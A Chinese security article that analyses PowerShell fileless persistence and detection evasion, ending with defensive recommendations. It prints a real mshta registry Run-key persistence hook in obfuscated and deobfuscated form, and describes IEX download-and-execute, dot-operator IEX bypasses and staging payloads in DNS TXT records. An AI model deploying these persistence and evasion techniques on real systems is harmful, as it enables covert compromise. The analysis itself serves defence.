PowerShell無文件持久化技術(shù)與常用的防御繞過技術(shù)
目前為止,PowerShell仍然是網(wǎng)絡(luò)安全專家進(jìn)行防御和黑客進(jìn)行攻擊的首選工具。原因很簡(jiǎn)單,PowerShell具有很好的可擴(kuò)展性,支持能力以及適應(yīng)各種編程語言。如PowerShell Empire,PowerSploit等,都被安全研究人員以及黑客所使用。
這兩天,就有安全平臺(tái)檢測(cè)出了有惡意軟件利用PowerShell所進(jìn)行的攻擊,該攻擊可以進(jìn)行持久性攻擊并繞過傳統(tǒng)安全防護(hù)的檢測(cè)。惡意軟件會(huì)誘騙用戶對(duì)網(wǎng)站上的Adobe Flash瀏覽器插件進(jìn)行更新,然后使用一個(gè)稱為mshta.exe的HTA攻擊方法。 MSHTA.exe是一個(gè)合法的Microsoft二進(jìn)制文件,可以在任何瀏覽器中被調(diào)用,用于執(zhí)行.HTA文件。不過在大多數(shù)情況下,對(duì)MSHTA.exe的擴(kuò)展都屬于惡意擴(kuò)展,所以我們建議開啟防火墻里所有阻止HTA擴(kuò)展的功能。
目前利用MSHTA.exe進(jìn)行攻擊的方法已經(jīng)被列入社會(huì)工程學(xué)攻擊包(SET)多年了:
如果被MSHTA.exe攻擊了,就會(huì)發(fā)生上圖所列的那些情況。黑客可能是利用了VBS下載器,PowerShell,一個(gè)被下載和執(zhí)行的二進(jìn)制文件等等來執(zhí)行的MSHTA.exe攻擊。
目前,在大多數(shù)情況下,這種釣魚網(wǎng)絡(luò)攻擊都能夠被檢測(cè)到,如下圖所示, 一旦網(wǎng)頁啟動(dòng)了惡意HTA ,就能被立即檢測(cè)到。
一旦發(fā)生這種情況,PowerShell命令就會(huì)被執(zhí)行,因?yàn)檫@個(gè)HTA會(huì)觸發(fā)了多個(gè)危險(xiǎn)提示。通常,惡意HTA會(huì)觸發(fā)SYSWOW64降級(jí)攻擊,將進(jìn)程降級(jí)為32位進(jìn)程,從而給目標(biāo)設(shè)備注入shellcode。
在我們對(duì)攻擊日志進(jìn)行分析時(shí),我們發(fā)現(xiàn)Invoke-Expression(IEX)是一種常用的攻擊技術(shù),利用這種技術(shù)可以提取特定的注冊(cè)表項(xiàng),并實(shí)現(xiàn)持久化的掛鉤( hook)。PowerShell攻擊是通過Invoke-Expression(IEX)調(diào)用.Net Web Client下載功能來下載瀏覽器上的PowerShell代碼并執(zhí)行。不過,提取的注冊(cè)表項(xiàng)的名稱和持久性掛鉤都會(huì)在初始PowerShell調(diào)用中經(jīng)過混淆處理。
在這個(gè)由Invoke-Expression引起的攻擊中,攻擊者會(huì)在CurrentVersion Run下的用戶配置文件下創(chuàng)建了一個(gè)注冊(cè)表項(xiàng),以作為持久性掛鉤的起始位置。
通過研究持久性掛鉤的日志,我們發(fā)現(xiàn)混淆后的持久性注冊(cè)表掛鉤如下:
- HKEY_USERS:SANITIZED\Software\Microsoft\Windows\CurrentVersion\Run
- "C:\Windows\system32\mshta.exe" "about:<script>c1hop="X642N10";R3I=new%20ActiveXObject("WScript.Shell");QR3iroUf="I7pL7";k9To7P=R3I.RegRead("HKCU\\software\\bkzlq\\zsdnhepyzs");J7UuF1n="Q2LnLxas";eval(k9To7P);JUe5wz3O="zSfmLod";</script>"
反混淆后的持久化注冊(cè)表掛鉤如下:
- <script>
- WScript_Shell_Object = new ActiveXObject("WScript.Shell");
- Registry_Key_Value=WScript_Shell_Object.RegRead("HKCUsoftwarebkzlqzsdnhepyzs");
- eval(Registry_Key_Value);
- </script>
這一系列過程,就是我們本文所說的無文件攻擊技術(shù),也稱為有效載荷傳遞攻擊技術(shù),因?yàn)樵摴艏夹g(shù)不是直接將特定的有效載荷寫入文件的,而是通過運(yùn)行注冊(cè)表項(xiàng)來在目標(biāo)設(shè)備中實(shí)現(xiàn)持久化注入。
在文件攻擊技術(shù)中,mshta.exe會(huì)使用WScript.shell來調(diào)用嵌入了PowerShell命令的注冊(cè)表項(xiàng)。目前,這種無文件攻擊至今還無法被檢測(cè)到。不過,“無文件”并不是真的沒有文件的意思,而是指的有效載荷,關(guān)于什么是無文件惡意軟件,請(qǐng)點(diǎn)擊這里進(jìn)行詳細(xì)了解。
使用目標(biāo)設(shè)備的PowerShell和mshta,攻擊者可以使用傳統(tǒng)的攻擊技術(shù)來對(duì)目標(biāo)設(shè)備進(jìn)行惡意文件的下載及后門的安裝。通常黑客會(huì)使用Invoke-Expression(IEX)來進(jìn)行繞過并使用PowerShell的“EncodedCommand”參數(shù)以躲避安全軟件的檢測(cè)。
最近,安全研究員Vincent Yiu就展示了一種通過PowerShell來繞過傳統(tǒng)檢測(cè)的方法,該方法沒有調(diào)用任何IEX和EncodedCommand。目前這種方法已開始被廣泛使用了,比如下圖這個(gè)例子,就是利用了“.”來調(diào)用calc.exe的。在這個(gè)例子中,由于沒有調(diào)用其他代碼,所以無需使用該代碼來分配變量。
那么,在這種情況下,網(wǎng)站的TXT將記錄下載PowerShell的命令,并通過nslookup在系統(tǒng)上執(zhí)行該命令。這意味著我們可以把命令代碼注入到DNS中的TXT記錄中,并啟動(dòng)PowerShell命令。
開頭我們所提到的那家安全平臺(tái)就可以就可以通過這種PowerShell的運(yùn)行,來檢測(cè)出惡意運(yùn)行。
如果檢測(cè)到nslookup以及通過nslookup提取代碼的行為,則該平臺(tái)就能立馬檢測(cè)到這種惡意行為,因?yàn)镻owerShell內(nèi)部使用的nslookup以及在txt記錄中的代碼都是惡意的。另外,上面例子中的“.”只能執(zhí)行文件,而不是執(zhí)行代碼本身。因此,我們還需要另一個(gè)命令,來執(zhí)行從nslookup txt記錄中提取的代碼。
安全研究專家Daniel Bohannon給出了一種實(shí)現(xiàn)辦法,不過仍然需要用到IEX:
- $nslookupResult1 = 'iex'
- $nslookupResult2 = 'Write-Host THIS IS MY ACTUAL PAYLOAD -f green'
- . $nslookupResult1 $nslookupResult2
- or even better:
- $nslookupAllInOne = @('iex','Write-Host ALL IN ONE -f green')
- . $nslookupAllInOne[0] $nslookupAllInOne[1]
以下是在該平臺(tái)所識(shí)別出的一種特定攻擊模式:
預(yù)防措施
對(duì)于那些還沒有使用該平臺(tái)進(jìn)行防護(hù)的組織來說,我們可以推薦一些方法來檢測(cè)PowerShell的這種無文件持久化行為,其實(shí)這種惡意行為并不僅限于某種特定的模式,例如IEX。下面我們就為你列出一些預(yù)防措施,讓你做到心中有數(shù):
- 注意PowerShell命令的字符長(zhǎng)度必要過大;
- 注意將PowerShell置于約束語言模式下的行為;
- 啟用增強(qiáng)的PowerShell日志記錄,例如腳本塊日志記錄;
- 經(jīng)常對(duì)設(shè)備進(jìn)行安全檢測(cè);
- 注意minesweeper.exe的出現(xiàn);
- 監(jiān)控諸如IEX,EncodedCommand等的使用;
- 利用Sysmon等工具提高記錄功能,并檢測(cè)可能由可疑進(jìn)程(PowerShell)引發(fā)的流程注入,
- 審查DNS日志并尋找可疑的控制命令和DNS請(qǐng)求;
- 查找不是源自powershell.exe和powershell_ise.exe的System.Management.Automation.dll和System.Management.Automation.ni.dll;
- 在正常情況下禁止普通用戶執(zhí)行PowerShell命令(AppLocker +Device Guard可以防止普通用戶使用PowerShell)。